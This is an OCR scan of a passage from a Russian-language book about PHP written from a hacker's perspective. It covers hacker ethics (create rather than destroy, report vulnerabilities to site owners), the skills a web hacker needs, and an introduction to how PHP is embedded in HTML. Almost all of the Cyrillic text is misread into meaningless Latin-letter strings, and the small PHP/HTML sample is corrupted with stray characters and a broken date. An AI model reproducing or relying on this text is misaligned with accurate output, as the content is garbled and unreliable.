BaHbl IPAKTHYECKH BO BCEX COBPEMEHHBIX NMPUIOKEHMsX (Iaxe Tam, LAe He
TIPEIYCMOTPEHE! KHONKH M MEHIO).

3a KonupoBaHWe W BCTABKY B CTAHAApTHBIX KomnoHenrax Windows (cTpoxu
BBO/A, TEKCTOBBIE MOJIA) OTBEYAET CAMA ONEPALMOHHAS CHCTeMa, H TYT He Hy-
KeH [JONONHUTENbHBIH Koa, 4Tobsl aauHble onepaumu sapaboranu. Ecnu
MPOTPAMMMCT HE NpeAycMOTpe)l KHOMKY, TO 3T0 HE 3HAYMT, YTO AaHHOro jeii-
crBus Her. OHO ecTh, HO JOCTYNHO 4Yepes "Topsuyio Kiasuury”.

Ewe omun npumep. A paboran nporpaMMHMCTOM HA KPYTTHOM NpPEeAnpHATHM
(6onee 20 000 paGorHukos). Moeii 3anaveil GbuTo co3gaTh MporpamMmy Beje-
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HUsl Gasbl JAHHBIX U ABTOMATHUSUPOBAHHOrO (OPMHUPOBAHUS OTHETHOCTH.
Bonbluoe KoJIMYECTBO NapamMerpoB HaGupanochk Bpyunylo. [lepssiif BapuaHT
nporpammel paboran 6e3. "ropsuux Kiagmu’, M UL BBOAA AAWHEIX TpeBopa-
noch 25 yenosek. [Tocne BHEAPEHWs "ropaumx KIaBuin" npou3BOAUTENEHOCTD
BO3pOCia, M ¢ mporpammoit paborano yxe menee 20 yenosek. DKoHOMHUS 3a-
METHA Jiaxe 6e3 yBeJIUIUTENIhHOTO CTEKIA.

2. Bbl DOMKHBL JOCKOHANBLHO W3Y4aTh BCE, YTO BAM XOYETCS 3HATH' 'O KOMNLIOTE-
pax. Eenn Bac uuTepecyer rpaduka, To Bbl JOJKHBI OCBOMTH Jyuluue rpadm-
4ECKHE MaKeThl, Hay4UThCst PUCOBATH B HUX NtobbIe CUeHbl W cO3MaBaTh caMble
cnoxubie Mupst. Ecnu Bac HHTEpeCylOT ceTi, TO CTapaiiTech Y3HATH O HUX BCE.
Ecnit BBl cuntaere, 9TO NO3HANN YXKE Bee, TOKYINHTE KHUTY MO HaHHON| Teme
TIOTOJIIE, H Bbl NOiMeTe, YTO CHibHO omubanucs. KoMmnsiotepst — 310 Takas
cepa; B KoTopoil HeBO3MOXHO 3HATH Beel!!

Xakepsl — 370, Npexie Beero, npodeccuoHansl B Kakom-Hubyns nene. W sto
He 06s3aTenbHO A0IKeH ObITh KOMIBIOTEP WM Kakoi-TO OnpeaeieHHbIi
SI3BIK MPOTPAMMUPOBaHKsA, XaKepoM MOXHO crath B J06oit obmactu, HO Mbl
B laHHOM KHure Oyaem paccMaTpuBaTh TONBKO KOMIBIOTEPHBIX XaKepoB.

3. XKenaresibHo ymeth nporpammupoBats. JIioboil xakep NOMKeH 3HATh, KaK MH-
HUMYM, OIHH fA3bIK TPOrPaMMUPOBAHKs. A NyYille NaXe HECKONBKO S3BIKOB.
Jludno A peKoMeHmyio BeeM M3yuuTh s Havasma Borland Delphi win C++.
Borland Delphi socrarouno npocr, bbictp, a¢dexTusen, a riaBHoe, — 370
o4yeHb MOUHBIA siabik. C++ — npu3HaHHLIA CTAHJAPT BO BCEM MHUPE, HO He-
MHOTO CIOXHee B u3ydeHHH. OnHAKO cue HEe O3HAYaeT, YTO HE HAlO BlaleTh
APYTUMM Si3BIKAMK. Bbl MOXeTe HayuuThCsl NPOTrPAMMMPOBATH HA YEM YIOAHO,
Aaxe Ha s3pike Basic (Bnpoyem, MCMONL3OBAThL €0 HE COBETYIO, HO 3HaTh He
nomewiano 6s1). Xors s He oveHs moGmo Visual Basic 3a ero orpaHn4eHHOCTb,
HeyIo6CTBO M CIUIOIHbIE HEJZOCTaTKH, 51 BHAE]N HECKONLKO BEMMKOIEITHBIX
nporpaMm, Kotopbie GbUIM HANUCAHBI UMEHHO Ha 3TOM siawiKe. st Ha HuX,
cpa3y XOMEeTCs HA3BaTh MX ABTOPA XAKEpOM, MOTOMY 4TO 9TO AEHCTBHTE/NBHO
BupTyosHas u Gesynpeunasi pabora. Cosganne U3 HUYETo Yero-To BENUKOJIen-
HOTO KaK pas ¥ ecTh UCKYCCTBO XaKepeTBa.

IMo xomy wayyeHus KHUTH Bbl yBUIMTE, UTO 63 HABEIKOB MPOTrPAMMIPOBAHMS
HEKOTOpbIe MpUemMs! Gbiin Gbl HeBOIMOXKHEL VICTIONB3ys rOTOBLIE IPOTPAMMBI,
HAMUCAHHBIE APYTMMH XakepamH, Bbl MOXETE CTaTh TONLKO BITOMUIMKOM,
a IS TOTo, YTOOBI CTATh XAaKEPOM, HYXHO HAaydHThCsA CO3NABAThH CBOH KO

Xakep — 3TO TBOpEl, YeNOBEK, KOTOphlil 4TO-TO coamaer. B GoiblumHcTBe
CJlydaeB 3TO KAcdeTcs KOAA MporpaMMsl, HO MOXHO co3nasars W rpaduky, u
MY3BIKY, YTO TOXe OTHOCHTCH K MCKyccTBY xakepa, Ho naxe eciu Bhl 3auu-
‘MaeTech KOMIBIOTEPHOH My3bIKOil, YMEHHE MPOrPAMMMPOBATE MOBBICHT Bali
ypoBetb., Celyac nucarh CBOM [POrpaMMel CTaN0 ropazno aerde. C NOMOLIbIO
Takux #3biKoB, Kak Borland Delphi, moxuo cosmasars MpocTbie YTHINTBI 34
04YeHBb KOPOTKOE BpeMsi, H MpH 3TOM Bil He Oyiere Hu B yeMm orpaHmdeHsl. Tak
qTO HE MOJEHUTECh W N3YMHTE MPOTPaAMMUPOBAHIE.
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4. He ropmoante nporpece. Xakepst Beeraa Goponucs 3a csobony nHgopMaum.
Ecnu Bbl XOTHTE GBITH XaKepom, TO TOXE HAO/DKHBI NOMOTaTh APYTUM. Xakepsi
obsi3anbl cnocoberBoBars nporpeccy. Hekoropsle nemaior 310 Yepes HAMMCH-
HHE NpOrpaMM ¢ OTKPLITHIM KOAOM, & KTO-TO MPOCTO JAEAMTCH CBOMMH 3Ha-
HHUAMM. '

Otxkpritocts WHGOPMALMHY HE O3HAYAET, WTO BHl HE MOXeTe 3apabaTeiBarh
AeHBrH. DTO HHUKONIA He BO3OPAHSIOCH, TIOTOMY YTO XAKephl TOXE IOHM, M
TOXE XOTAT KyIWIATh, U JO/DKHBI coepxarb cBoio cembio. Ho sieHbru He Aok~
Hbl OBbITH OCHOBOMONATAIOIMM NMPUHLMIOM Baluel xusHu. Camoe rasHoe —
310 cosupanue. BOT TYT NpOsABAARETCA SLE OIHO OTMYME XAKEPOB OT KpaKe-
poB: Xakephl "coanaior’, a kpaKkephl "yHuutoxaioT' wHbopmammio. Eciu B
HAMHCAIN KaKyl0-HIBYIb YHHKAIBHYIO WYTOYHYIO TIPOrpaMMy, TO 3TO Bac ae-
naer xakepoMm. Ho ecnn sbi u3oOpenu supyce, xorophiif ¢ yneibkoil Ha skpane
YHMMTOX@ET AUCK, TO Bl — KPIKEP~APECTYITHHK.

B Gopube 3a cpobomy wHOPMALMH MOKET MPUMEHSITHCS HAAXKE BIIOM, HO
TONBKO HE B PaspylWTENbHBIX uensx. Bul Moxere BaIoMarbh Kakylo-am6o
nporpaMmy, 4ToGbl TOCMOTPETh, KaK oHa paGoTaet, HO He yOupaTh ¢ Hee cuc-
TeMm 3aurdTel. HyxHO yBaxars Tpya ApYrHX NpPOrpaMMHUCTOB, HE HAPYILATh WX
ABTOpCKHME [Ipapa, MoTOMY YTO 3aLMTA IPOrPaMM = 3TO MX X1e6.

IMpencrassre cebe cUTYALMIO: Bl YKPATH TeaeBu3op. D1o Gbuto 661 BOPOBCTBO
U npeciegosanock 6 No 3akoHy. MHOIME MNOIH 9TO NOHUMAIOT ¥ HE MAYT HA
npecTyrieHns u3-3a Gosaun Hakaszauus. Mouemy Xe Torla KpIKeps! CIOKOi-
HO JIOMAIOT TIporpamMmsl, He Gosich 3akona? Bens 310 Toxe Boposerso. JImuHo
A IPUPaBHUBAIO B3/IOM IMporpaMMBl K BOPOBCTBY TEJNEBH30pa C IMOJKH Marasu-
Ha ¥ CHMTAIO 3TO TAKWUM Xe TpPaBOHAPYUIeHHEM.

[Tpu 3TOM BBl AOJKHBE! MMETH NPABO MMOCMOTPETh HA KOA KYIJIEHHON Mpo-
rpaMmel, Benb BbI e MOXeTe BCKpBITH CBOIl TeJieBH3Op, M HUKTO He Oyaer Bac
NpecnefoBaTh Mo JHIEHINOHHBIM cotnamenusM. Kpome Toro, Bac xe He 3a-
CTABNAIOT PErMCTPUPOBATHCH, KOIAA Bbl HECTHO npHoOGpenu ToBap, Kak AenaiT
9TO ceifyac ¢ akTuBanuei.

A nonumaio paspaboTYMKOB MPOrpaMM, KOTOpbiE MBITAIOTCH 3aIIATUTE CBOI
Tpya. 5l cam mporpaMMHCT H npoaaio cBou nporpammsi. Ho s Hukoraa He je-
NA10 CAOXKHBIX CHCTEM 3alMTLL, TIOTOMY YTO Ni00ble MONBITKM “npenoxpaHe-
HUst" MOPTAT XKHU3Hb 3AKOHOMOCHYIIHEIM TIOIB30BATEIAM, & KPIKEepbl BCe PaBHO
sanomaoT. Kakue tonbko "3aMKu” He NMPHAYMBIBAIM KPYITHLIE KOPMOPALUH,
yTOGBI 3AIMTHTL CBOIO cobcrBenHocTh, HO Crack cymiecTsyer Ha moGbie
nporpaMMel, GONBIIHHCTEO U3 KOTOPBIX BITAMBIBAIOCH €lUE N0 O(HIHANEHOTO
BBIXOZA Ha PHIHOK. C HeNeraisHbIM PacnpocTpaHeHHEM IPOTpaMM HYXHO Go-
POTHCS APYTUMH METOAAMHM, & CHCTEMbl AKTUBALWH WM Kmnouel Oecrnonesnsl.

B OMBWIM3OBAHHOM MHpPE MpoOrpaMMma QOMKHA MMETH TONBKO HPOCTOEe mone
JUISL BBOIA HEKOero Koja, MOATBEpXaollero omuary, 4 Hudero Gosbiie.
He nomkHo GbITh HUKAKUX aKTHBALWM U caoxHbiX perwcrpauuit. Ho u nons-
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30BATe/H JODKHBI OBITH YECTHBIMHE, ITOTOMY 4TO JIIOGOH TPYI AO/DKeH OmTadn-
Barbest. A TO, HTO KaKoH-TO TOBap (MporpaMMHbIH NPOAYKT) MOXHO ONYIHTD
GecrutatHo, elle He 03HAYAeT, YTO Bbl JOJDKHEL 9T0 AENaTh.

5. 3uaiite Mepy. YecTHo ckasark, st ysaxaio Buna Teifrca 3a To, 9To OH coapan

Windows u Graronapst eif cienan KoMnbioTep AOCTYITHLIM Ul KAKAOTO B 3TOM
mupe. Ecnyu paHsiie MOMB3OBATECS KOMNBIOTEPAMH MOIH  TONBKO JIOAN
C BBICIUIMM 0Opa3oBaHHEM M MATEMATHYECKUMH CHOCOBHOCTSIMH, TO TE€neph OH
JIOCTYTIEH KaXIoMy pebeHKy.
EnuHcrBeHHOR, YTO 8 HE TIPHBETCTBYIO, — 3TO METO/bI, KOTOPBIMM MPOIBUTA-
ercst Windows Ha KoMrsioTepsl nosib3osateneit. MHe Kaxercs, 4T0 yKe JIaBHO
nopa ocnabuTs nasnenne, Torna Windows, naoBopor, craser Gojee nomynsp-
HO#, ¥ Yy MHOTUX MPOTANET HEHABHCTH K KOPIOPALIMH U ee PYKOBOJICTBY.

Henw3st nmpocTo Tak JMiLATh JeHer Apyrue (GpupMbl TOJIBKO W3-3a TOFO, YTO Thi
MPOUTPAI KOHKYPEHLMIO, Kak 310 npousowno ¢ Netscape Navigator. Torna
Microsoft He ymanocs nobeauts Gupmy Netscape B yecrnoit Gopwbe, 1 Mi-
crosoft caenmana csoit Gpay3sep GecrulaTHbIM, NOTOMY YTO Y KOpHOpauuy HAocTa-
TOYHO J€HEery W oHa Moxer cebe 910 no3posutTh. Ho novemy Hembast Gbuto
npocto yitth or Gopbbbl ¥ nOCTOHHO NpUHATH Npourpeiu? Bems aoxoms!
¢upmbl o1 nepesona Gpaysepa Ha GECIIATHYIO OCHOBY HE CHABHO YBEIHYM-
Jmck, a pHTerpaums Internet Explorer 8 OC — unersiit dape.

s mponsikeHus ceoero noprana Microsoft Moria HaiiTh M Apyrue croco-
Gbl, 8 KOHKYpeHLUMs 1oKHa ObiTh yecTHOM. Hensds tpebosath o1 nonb3osa-
Tess 1o6pocoBecTHOrO OTHOIUEHHS K CBOMM MPOMYKTaM, KOIId cam HIpaellb
HEYeCcTHO,

6. He wu3oBperaiite senocunen. Tyr onsars HeiCTBYET CO3IMUATENBHAS (DYHKIIMS
XakepoB, OHU HE JO/IKHBI CTOATHL HA MECTe M 00s3aHEI ICNHTLCA CBOMMH 3HA-
Husamu. Hanpumep, ecau Bl HANMHCANH KAaKOH-TO YHHKANBHBIA KOM, TO mojae-
JINTECH UM © GIMXKHMMY, YTOOBI JIOAAM He NPUIIOCHh CO3/ABaTh TO Xe camoe,
Bbl MOXeTe He BblIaBaTh BCE CEKPEThI, HO JOIKHBI MOMOraTh APYTHM.

Hy, a ecnit K BaMm B pyK# Tonasn 4ykoif Ko, T0 HE CTeCHSIATECH €10 HCmomb-
3opathk (¢ cornacus xossuna!). He BbUIyMBIBaiiTe TO, YTO YK€ CASNAHO U OOKa-
TAHO APYrMME ToibaoBartemsiMu. Ecimm xaxasiit Gymer wsobperats koneco, To
HUKTO W HHKOIA He CO34acT MOoBO3KY, W TeMm Gomnee aproMobuis.

7. Xakepsl — HE MpOCTO OTACNbHbLIE IUYHOCTH, 4 uenan Kyastypa. Ho 310 He sHa-
YHUT, 4TO BCE XAKephl OEBAIOTCS OAMHAKOBO W BBIISUIAT HA oxHO Jmuo. Kax-
JIBIH U3 HUX — OTACNBHBIN WHAMBUIYYM M HE MOXoXk Ha apyrux. He nano xonu-
poOBarh [PYTOro YeioBeka. YIauHoe KOMMPOBAHUE HE CACTACT BAC MPONABHHYTHIM
xakepoM. TonbKo BamIa HHAWBKHIYATEHOCTE MOXKET CHEJaTh BAM UMS.

Ecii BBl M3BECTHBI B KaKWX-THGO KPyrax, TO 370 CYMTAETCS OMeHb [MOYETHBIM.
Xakepsl — aro moau, nobpiBalowme cebe crasy CBOMMH NMO3HAHUAMM W 106-
puiMu fetamu. [Mosromy moboro xakepa HO/KHBI 3HATS.
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Kak sam onpenemuts, siBisieTech Jii Bbl Xakepom? OueHb mpocTo: eciu O Bac
FOBOPAIT KAK O XaKepe, To Bbl ofuH U3 HuX. XKaib, 4To Takoro A0OATHCS OMEHDL
CIOXKHO, MOTOMY 4TO GONBUIMHCTBO CYMTAaET xakepamu BanoMummkos. [loaro-
My, 4ToBbl O BAC 3aTOBOPWIM KaK O XaKepe, HYXHO 4To-To BCKphiTh. Ho 370
HENpaBUIBHO, N HE Haio noajasathest aromy cobiasny., CrapaiiTech mepxarh
cebsi B paMKax J03BOJIEHHOrO M AODMTLCS CAdBBl TOMBKO XOPOIIMMU JeNaMH.
D70 HAMHOrO ClOXHee, Ho 4To noaenaemb. Hukro u He obemtan, ¥ro Gyaer
JETKO.

8. UYem OTAMUAIOTCS APYr OT Apyra TporpaMMucT, noibk3osarens u Xakep? Ipo-
rPaMMHCT, KOLAA MUILET MPOrpaMMy, BHIMT, KaKoil OHa AODKHA OBITH, W Bce
fenaer Ha csoe yemorpeume. Ilonb3osareib He BCEDNA 3HAET, YTO 3aMyMan
nporpaMMmcT, ¥ paboraer ¢ nporpaMmoit Tak, Kak NOHMMAET.

TIporpaMMHeT HE BCerja MOXeT Tpeayraaarh JeiCTBHS CBOUX KIMEHTOB, JIa
MPpHIOXKEHU HE BCerna TUIATENbHO OTTECTHpPOBAHBL. Honbaonamm HMEWT
BO3MOXHOCTh BBECTH IapamMeTphl, KOTOPhIE NMPHBOIAT K. Heymoﬁqumﬁ pabore
nporpamMm.

Xakepsl HAMEPEHO UILYT B NMporpaMMe Jiazeifku, 4robsl 3acTaButh ¢ paboTars
HETIPABHJIbHO, HECTAbWIbHO MM HeobbriHo. [ist 9Toro Tpebyercs Boobpaxe-
HWEe W HecTaHIApTHoe MuluiieHne. Bl JOMKHBI YYBCTBOBATH MCITONHAEMBINA
KOIL H BUIETH TO, Yero He BUIAT APYTHE.

Ecin BBl HALLIH KaKYI0-TO YA3BHMOCTH, TO HeoOf3areNbHO ee UCITONb30BaTh.
06 omubkax xydire coobiarh BIageNbLy cucTeMsl (Hanpumep, alMUHHCTpa-
1K caifra). DTo BechMma GNArOpoONHO, A [IABHOE, — CO3HACT BAM MMS, U MpH
3TOM MOXHO HE OMacarbcs OKa3arbes B 3ame cynd. XOoTd Te, KTo MonanaeT nom
cyl, ObicTpee MOAYYAIOT MONYIAPHOCTD, MOTOMY MTO O TAKWUX JIOASX TMMIIYT
B raserax. Ho KoMy B TIOpEMe HYXHO npusxanue obutecrsensoctn? A nymaio,
410 HiKoMy. Tem Gonee uro mocie oTORIBAHUS CPOKA HaKasaHHs OYEHb YacTo
TKeno Hafitu cebe pabory. Mano Kro saxouyer nepxarb B uTate GbiBHIETO
NpecTynHuuKa, na v mnocie npedsiBaHKus B MECTaX HE CTO/Ib OTHANEHHBIX MOXET
elue J0ro AeHCTBOBATE 3aNpeT Ha paboTy, CBA3AHHYIO ¢ JIIOGUMBIMM KOMIIBIO-
tepami. Jlydine GBITh 300poBLIM ¥ GOraThiM, T. €. 3HAMEHUTHIM M Ha cBoboje.

HexkoTopsle cUMTaloT, YTO MPaBHALHO HALO MPOH3HOCHTH "XaKep”, a He "xakep".
DTOo TAK, HO TOABKO ANA AHTIHIICKOro s3kika. Y Hac B cTpaHe 3TO C/lOBO obpyce-
no W crano "xakepom”. Mel — pycckue moau, aasaiite 6ygem n06UTh CBOM A3BIK
i TIPU3HABATH €ro NpaBua.

Xakeps: Web-caliToB JO/DKHBI OTAUMYHO 3HATH CACIYIOUIHE TEXHOIOTHH:

O sa3eik Web-niporpaMMupoBaHust, ocobeHHOo ero cnabsle # cUMbHBIE CTOPOHBI,
B mobomM SA3BIKE €CTh MOJOXKMUTENLHOE W OTPHLATENbHOE, BBl HO/DKHBL 3HAThL
TO ¥ apyroe. B laHHOM ciyyae Mbl paccMaTpuBaeM S3LIK TPOTPAMMHMPOBa-
Husi PHP, koTopblil cTaHOBUTCS ONMM W3 CAMbIX TONYIAPHLIX U He 6e3 oc-
HOBAHWI;
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0O OC, kotopas Gyner ucnonbsoBarsesi B Kayecrse miardopmsl. Haubonsueii
nonyaspsocrsio B Web nomssyiores cepsepsl Ha niardopme Unix, nostomy
XKenaTeNbHO 3HATH MX OCHOBHBIE KOMAHIBL, 0cODEHHO Kacaouiecs paborsl
¢ ¢haitnoBoil cucreMoil;

00 6asza manHbIX. CratudHble cAifThl BCTPETHTL BCE CHIOXHEE W CNQXHEe, & HC-
TONB30BaTh B STUX uesnsix (ailiopyio cuereMy He oYeHb (PPEKTHBHO, OCO-
Gernno npu GoibluoM KonuYyecTBe AaHHbIX. Bassl gaHHbIX HaioT HAM Gonbiune
BoaMoxHocTH. Kak u mobast TexHonorust, OHH He rapaHTupyioT abcooTHyIo
6e30MacHOCTh, HO K Hel HYKHO cTpeMUThCs. Bbl IO/KHBI TOHHMATE CaMm cep-
sep (B Web uwawe scero sro MySQL) u s3eik SQL (Structured Query
Language, fi3bIK CTPYKTYPHPOBAHHBIX 3aMPOCOB), KOTOPbIA UCMONb3YeTCs Uis
nocryna K panHsiM. Mmenwo Gaaromaps xopoutemy sHavmio SQL nossunacsk
araka SQL Injection (sHenpenne SQL), koTopasi SBAsIETCS OUEHB ONACHOI.

1.3. Y70 Takoe PHP?

fAabik PHP (Personal Home Page Tools, MHCTPYMEHTBI [epCoOHaNbHBIX NOMaILHHX
CTPAHUI) — 3TO A3bIK CLEHAPUEB C OTKPHITHIM HCXOMHBIM KOJIOM, BCTPAUBAEMBIX
8 HTML-xon m Beimosinsiembix Ha Web-cepsepe. Dror sA3bik Hanucan Web-
paspaboruukamu u pis Web-paspaborunkos. fssik PHP asisiercst KoHKypeHTOM
TAKUX nponykroB, kak Microsoft Active Seiver Pages (ASP), Macromedia
ColdFusion 1 Sun Java Server Pages. Hekoropsie cmeumanictsl Hasnisailor PHP
"OTKpsITHIM sisbikoM ASP" win "ASP ¢ OTKpBITBIM MCXOMHLIM KoloM". D10 He-
BepHo, moromy uto PHP paspabarbiancs Ha HECKOJNBKO NET PaHBIIE, MTPUMEPHO

B ONHO M TO Xe Bpemsa ¢ Java Server Pages, nosroMy MoxXHO ckasatk, 4yto ASP
sIBNsETCA 3aKpeiTolt anerepHaTHBoi it PHP.

Cam no cebe Web-cepsep He ymeeT BoinojiHaTs cuenapun PHP, ja sroro weob-
XoAMMa TIporpaMma uHTepriperarop. Takue HMHTEPNpPETaTOPHI CYIIECTBYIOT JUIS
Beex nonynsapHsx Web-cepsepos (I1S, Apache) Ha Becex ocHoBHBIX mnardgopmax
(Windows, Linux n 7. 1.).

Aszsik PHP simisiercst omumanbieiM Momynem Apache Web Server. Dro Gecninar-
Helit Web-cepBep, KOTOpbIil ABASETCHA NMAECPOM M HCnojbayercs Gonee yem Ha
nojioBrHe cepsepos B MurtepHete (Tounyio uudpy HassaTh CAOXKHO, HO J0OLIE
OAHHBIE YKA3bIBAIOT HA [PEBOCXOACTBO JanHoro ceppepa). Yro sHaunT odhmim-
ambHbI Monyns? Dro 3HAYWT, 4YTO aBMKOK obGpaBorku PHP-cuenapues moxer
6biTh BeTpoeH B Web-cepBep, 4To MO3BOJISeT YCKOPUTh BRITOTHEHHE M YIYYILINTE
ynpasisiemocts namareio. Ceppep Apache cylliecTByeT Al BCeX OCHOBHBIX FIAT-
dopm — Windows, Mac OS X u ocHosHeie pasHoBHaHoeTH Unix-cucrem — M Ha
no6oii mnardopme addexrusHo paboraer ¢ PHP.

Slapik PHP nossonsier Berpampars (parMenTsl Koga Herocpeaerseniio 8 HTML-
CTPAHMLILI, @ WHTEPNpPETHPOBAHHLIH KO/ Balled CTPAHMULI OTOGpaXAETCs mosib-
sosarenio. Koa Ha siseike PHP MOXHO BOCTIpHHMMATh KaK PAaCUIMPEHHBIE Tery
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HTML, xoTopbie BHIMOMHAITCS Ha CepBepe, WM KAK MANCHBKUE MporpamMmebl,
KOTOpbIE BBINONHSIOTCS BHYTPH CTPaHUL, npexne yem 6yIyT oTnpasieHsl KiueH-
Ty. Bee, uTo genaer Kout nmporpaMMbl, HESAMETHO JUIS TIONB30BATES.

Assik PHP nmossosisier coenuuAThes ¢ MOMyAAPHEIMU BasaMy HaHHBIX, pacriono-
XEeHHBIMU Ha cepsepe, ¥ oBpabarsiBars uHMOPMALINO W3 Tabiuu (M3MEHATH, 10~
OapisaTh, ynanaTh AaHHBE). DTO JefaeT A3BIK OYeHb MOIIHBIM [IPH CO3NAHWN
KOPIIOpaTHBHOIO caiiTa, cofepXallero MHoXecTso NaHHbX. [Ja u mobag pomaiu-
HSA CTPAHMLIA YKE HEMBICHMMA De3 UeHTPANN30BAHHOTO XPAHMWINILA JAHHBIX.
IMpaktuveckn Hu onuH Bonee-meHee Kpynusiii Web-caiiT He Moxer paborars 6e3
XpaHunuia gaHHbX. JUis 970l 3aladi MOXHO WCIONB3IOBATH TEKCTOBBIE (altmst
Ha ceppepe MaM Gasbl AaHHBIX (BTOpoe HamHOrO ynobHee npu obpaGorke).
B nmannoit xHure wmbl Oynem pacemarpusath pabory WMEHHO 6a3 HaHHBIX.
B xawecrse ocHOBHO# OyneT HCIONB3OBATLCA caMas PacHpoOCTPaHEHHas PasHO-
BuaHOcTs — MySQL. 9710 pensiumonHast 6asa NaHHBIX ¢ OTKPLITHIM MCXOIHBIM
KOIOM, KOTOpasi npocTta B WCTIONB30BAHMM W MOMMEPXKMBACTCS GONBIUMHCTBOM
XOCTHHTOBBIX KOMITaHHH. ) :

1.4. Kak paboraetr PHP?

Yro snauur "Berpamsaembiit” siasik? Pacemorpum npocroit npumep koga Web-
CTPaHMILbl, B KOTOpO#t uenonbsyiores PHP-uxcrpykunu (uucrunr 1.1).

<HTML>
<HEAD>
<TITLE> Test page </TITLE>
</HEAD>

<BODY>

<?php

Stitle='We are glad to see you again';

7>

<P>Hello. <?php echo $title ?»>

<P>Current time <?php echo date('Y-m-d H:i:s') 7>
</BODY>

<HTML>

i

K Mpumeyanne 2

UcxoaHeii ko us nuctukra 1.1 ebi MONETe HaiiTi B thaiine \Chaptert\embadded.php
Ha KoMnakKT-aucKe, npunaraemMom K kHure,
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Wucrpykunu PHP no ymomiasmnio 3aKkmouaiores B Ter <?php .. ?>. Mbl noka He
Gymem BHMKaTh B KO, MOKA3AHHLII 3ech, NOTOMY YTO ceifyac rasHas 3aja4ya —

Hanucammﬁ 3pech KOl Ewm mlgpb aarpysm;p; sry CTPAHMYKY C W&b@@ﬂ@a,
TO BhI AOJDKHBI YBUAETh MPUMEPHO TO, 4TO M30OpaxeHo Ha puc. 1.1.

Pue. 1.1. nmmmmmm.ammmﬁowmpm

lapaiite Terieph NOCMOTPUM MCXONHBIH KOI cT]JﬂlfiﬂlH B ﬁpa;mpe. JLs avoro
BuiGepute Merio Bua| B sune HTML (View | Source). Tepen Bamu oTKpoeTcs
okHO BitokHoTa, B KOTOpOM Oyner coiepKarbes ummpuocnmwumﬁ KOJL:
<HTML>

<HEAD>

<TITLE> Test page </TITLE>

</HEAD>

<BODY>

<P>Hauo.}%ga_ glad to see you again<P>Current time 2004-D3-30
13:16:42< Py v

Kak suanre, uukakux PHP-uncTpykumit Gonswe Her. Bee omu mcyesnn. Bro
mmmcuu,mceps&pdﬁpaﬁommmmmunnepmaﬂﬂmm
uynersiift HTML-Koll, Wau MOXHO CKa3arh, YTO MONB3OBATEb BUANUT TONBKO pe-
ayabTar paborsl cueHapus. Koraa monssosarens sanpaiivpaet cTpaHnily, cepsep
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obpabarsisaer sce PHP-uHeTpykumi Ha 910l cTpaHulUE H BO3BPAILACT TONBKO
pesynabrar obpaborku Ha uncrom HTML: B1o naer cneayiowme mpeumMyniecTsa:

O moboit Gpaysep WM YCTPOIMCTBO MOXET MPaBMILHO OTOGPAasUTL pe3ynbkTar,
ecnn pesynstapytonmit HTML-goxn coorsercrsyer ero mpasunam;

O sanpochkl BBINOJHSIOTCA BGLICTPO M MCMONB3YIOT MUHHMANIBHOE KOMMYECTHO
pecypcos; _ "

- Ky = s | i o X A ., ' & un .

O xont crpanuibl coctout n3 HTML-Teros, a 3HAYUT, Bbl MOXETE JIErKO CO3/ld-
BATh MAaKeTBl € TOMOLIbLIO MPOCTOTO B WCIONB30BAHMM $3BIKA PA3METKH
HTML; _

0O moxHo co3gasaTh Web-cTpaHmilbl B Ji000M penakrope (Iaxe BU3YATBHOM),
4 NOTOM TONBKO noGasmaTe B HUX PHP-xon.

Takum obGpasom, Mbl coznaem npoctyio HTML-crpakuity, B KOTOPO#H npucyrer-
Byer Kon PHP. B HeKoTophIX A3bIKax, CXOXHX no HazHaueHuo ¢ PHP (nanpm-
mep, Perl), npoucxonur obparvoe. Tam Bbl nmuiueTe KO IMpOrpaMmbl, 4 s fo-
Oapnenuss HTML-teroB Hy)KHO MUCaTh CreUMalbHBIE HMHCTPYKUMK. B maHHOM
crygae ee HaoGopor (xors MoXHO BhiBomuTh Koa HTML u ¢ nomompio dyHk-
uni, kak B Perl). Yacro sto Guiaer oueHs ynoGHO, a BCTPEYAlOTCA CTPAHMIIH,
NOJIHOCTBIO HanucanHsie Ha PHP.

Sasik PHP gensiercss uHTEpnpeTnpyeMsiM. D10 3HAYHUT, YTO €ro He Halo KOMITH-
NUPOBATHL B MPOrpaMMy (XOTH MOXKHO ¥ OTKOMMTHIMPOBATH), & BHIIONHEHHE MPO-
ucxonut "Ha aery”. DT1o oyeHb yA10o6HO, HO MHOIIA MOXET MPUBOAUTL K H3AEPX-
KM, HANpUMEp, €CIK Kakoi-To (PArMeHT Kona BHIMOIHAETCHS B mporpamMme
100 pas. Kaxnaoiit pas Gyaer MpoMCXOANTb WHTEPIPETALMs, YTO OTHUMAET JMIL-
Hee mpolieccopHoe Bpemd. DTo peiicTBuTeNbHO TpobiemMa WHTEPHpPeTUPYEMBIX
a3pikos, Ho B PHP pewwnn sty npobaemy xommnumsimesf "ma nery”. Takoi
(bparmeHT Kofa OyAeT HHTEPNPETUPOBATHCS TONBKO OAUH pas.

Eure onuH HeAOCTATOK WHTEPIPETHPYEMOCTH — TaKue MPOrpaMMsl MOCTABJISIOT-
csl B MCXONHKIX Kofax, W Jioboif nporpaMMHCT cMOXET YBHIeTh BALl TPyd W Mc-
TN0/b30BaTh B cBOMX uessax. Ho 310 TonsKo eciu Bbl Bynere pacnpocTpaHsiTh CBOM
cueHapuu. [Nons3osarenn saiero caifta He cMoryT YBMAETH HCXOAHBLA Ko, Nno-
TOMY uTO B Opaysep nonanaer Tosubko pesyasrar uan HTML-gokyment. Eciu Bbi
XOTUTEe 3alIUTHTL CBOIO COGCTBGHHOCTJ:, MOXHO BOCHMONB30OBATLCH NMPUHYIHTEIbL-
HOIl KOMITUALMEN.

1.5. CepBepHble N KNNEeHTCKNe TEXHONOornm

B uacrosuee BpeMsi CYHIECTBYET MHOXECTBO KAWEHTCKMX W CEPBEPHBIX TEXHO-
sormii wis mocrpoennsi Web-crpanui. KinueHTekne TeXHONOTUH BLITTONHSAIOTCS B
Gpayaepe (JavaScript, VBScript, Java-annaersi, DHTML u 7. 1), a cepseptbie
obpabarsiBaer cepsep W Boappauaer kiueHty tonbko HTML-xon (Perl, ASP,
PHP). flssik PHP He orpaHuuiBaeT Bac U MO3BOASET ¢ NEFKOCTHIO HCNONL3IOBATE
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KIHEHTCKHAE TeXHONOTHH coBMecTHo ¢ uHerpykuusmu PHP. Ho crout mm ux wc-
nosnb3oBaTh 6e3 ocoboii HanobHocTH? SI IyMaIo, YTO HET, H ITO MBI CEifYaC YBIINM.

PaccMoTpiM KITHEHTCKYIO TEXHOROTHIO HA npuMepe JavaScript. Ecnu sl Gynere
